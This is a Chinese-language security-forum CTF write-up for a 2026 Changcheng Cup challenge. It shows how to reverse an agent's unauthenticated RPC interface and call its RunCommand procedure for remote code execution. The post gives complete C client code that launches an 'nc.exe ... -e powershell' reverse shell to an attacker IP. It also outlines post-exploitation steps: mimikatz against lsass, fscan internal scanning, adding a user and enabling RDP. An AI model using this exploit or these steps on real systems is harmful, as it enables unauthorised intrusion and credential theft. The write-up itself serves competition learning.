[原创]2026年长城杯半决赛 isw2 flag1-CTF对抗-看雪安全社区

[原创]2026年长城杯半决赛 isw2 flag1

发表于: 2026-5-16 03:01 8605

[原创]2026年长城杯半决赛 isw2 flag1

rick233

2026-5-16 03:01

8605

这道题的题解看了一眼好像大家都是AI出的，但是在真实的赛场上AI因为模型太小了其实是很难去构造RPC服务器的，笔者因为非常幸运前几个月学习了一下RPC服务器故有RPCView，可以直接构造idl文件来构建客户端
 ![图片描述](upload/attach/202605/1026073_ARSG3KD5UFPZE3M.webp)

![图片描述](upload/attach/202605/1026073_D6ZNPVGMWTC8UVZ.webp)

分析WatchAgent有个RPC服务器开着

![图片描述](upload/attach/202605/1026073_PD3ENXXHP49MX9W.webp)

端口开在五个端口内 这个端口应该是容错机制 现代的服务器一般都会容错
比如说第一个端口占用了 就会切换到第二个端口 也就是我们的客户端其实只需要在这五个端口内找就可以

使用RPCVIEW看IDL

![图片描述](upload/attach/202605/1026073_DYRF27ZDKBV4ZKV.webp)

然后acf定义一下

```
[
	implicit_handle(handle_t rpcBinding)
]

interface DefaultIfName{

}
```

Native Tools可以编译idl文件
 ![图片描述](upload/attach/202605/1026073_G8FZYN7PHXAHRBT.webp)

然后发现Agent里面有个RCE RunCommand 这个RCE是我直接在导入表内找sink点 找了ShellExecute和CreateProcess就出了 由于RPC服务器未授权 所以这是一个未授权的RCE

![图片描述](upload/attach/202605/1026073_YYTV4UD86RRG8UF.webp)

对应IDL的proc0

会把__int64 __fastcall RunCommand(
        const wchar_t *pszCommand,
        DWORD ulTimeoutMs,
        unsigned int *pExitCode,
        unsigned int *pErrorCode)
{

第一个参数直接调进CreateProcessW

```C
#include <stdio.h>
#include <winerror.h>
#include "../IDL/myrpc.h"

int main() {
	RPC_WSTR pszStringBinding = NULL;

RpcStringBindingCompose(
		NULL,
		(RPC_WSTR)L"ncacn_ip_tcp",
		(RPC_WSTR)L"10.11.162.196",
		(RPC_WSTR)L"62831",
		NULL,
		&pszStringBinding
	);

// 绑定接口，这里要和 test.acf 的配置一致，那么就是test_Binding
	RpcBindingFromStringBinding(pszStringBinding, &rpcBinding);

// 下面是调用服务端的函数了
	RpcTryExcept
	{
		while (1)
		{
			unsigned int errorcode = 0;
			unsigned int exitcode = 0;
			Proc0(L"nc.exe 10.11.124.59 1234 -e powershell", 0x30000, &exitcode, &errorcode);
			printf("errorcode = %d exitcode = %d\n", errorcode, exitcode);
			break;
		}

}
		RpcExcept(1)
	{
		printf("RPC Exception %d\n", RpcExceptionCode());
		Sleep(2000);
	}
	RpcEndExcept

// 释放资源
	RpcStringFree(&pszStringBinding);
	RpcBindingFree(&rpcBinding);

return 0;
}

// 下面的函数是为了满足链接需要而写的，没有的话会出现链接错误
void __RPC_FAR* __RPC_USER midl_user_allocate(size_t len)
{
	return(malloc(len));
}
void __RPC_USER midl_user_free(void __RPC_FAR* ptr)
{
	free(ptr);
}
```

然后反弹回来SYSTEM权限 在管理员桌面找到Flag

![图片描述](upload/attach/202605/1026073_M53CJ5PHRJ2PKSG.webp)

然后服务器环境是Server 2022 除了这个flag没有找到其他flag 不过由于我直接就有RPC服务器的项目 所以编译了一些idl acf就能直接包含头文件拿来用了 但是由于笔者忘记高版本Server 的 lsass有PPL保护 导致mimikatz一直没效果 故只拿了flag1 我们上了fscan去扫 内网是有几台机器的
应该是mimikatz dump lsass去重放？
然后针对这个shell不稳定 直接改大timeout就行 能稳定十几分钟 因为Agent是一个服务 在Windows下默认是SYSTEM权限 省去了提权的问题 直接加一个用户 打开3389 就可以远程了

登录后可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

收藏・0

点赞・1

打赏